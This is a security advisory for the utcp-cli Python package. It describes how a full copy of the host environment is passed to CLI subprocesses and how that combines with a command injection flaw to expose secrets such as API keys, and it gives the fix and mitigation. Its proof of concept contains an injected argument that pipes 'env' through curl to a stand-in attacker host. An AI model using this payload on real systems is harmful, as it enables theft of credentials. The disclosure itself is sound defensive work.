PT-2026-60007 · Pypi · Utcp-Cli

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

prepare environment() in cli communication protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in substitute utcp args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.

Vulnerable Code

python
# cli communication protocol.py
def prepare environment(self, provider: CliCallTemplate) -> Dict[str, str]:
  env = os.environ.copy()    # All secrets inherited
  if provider.env vars:
    env.update(provider.env vars)
  return env

Impact

Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
  • Cloud provider credentials (AWS SECRET ACCESS KEY, AZURE CLIENT SECRET)
  • Database connection strings (DATABASE URL)
  • LLM API keys (OPENAI API KEY, ANTHROPIC API KEY)
  • Internal service tokens

Proof of Concept

python
# Tool defined as:
{"command": "grep UTCP ARG pattern UTCP END logfile.txt"}

# Attacker supplies:
tool args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}

# Executed bash script:
# CMD 0 OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets

Patched

Fixed in utcp-cli 1.1.2. prepare environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit env vars field:
  • null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.
  • []: strict mode -- nothing from the host environment reaches the subprocess; only env vars is propagated.
  • ["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).
env vars is always layered on top and overrides any inherited value. Secrets like OPENAI API KEY no longer reach the subprocess unless the call template explicitly opts them in.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.

Credit

Reported by @ZeroXJacks.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-3395

Affected Products

Utcp-Cli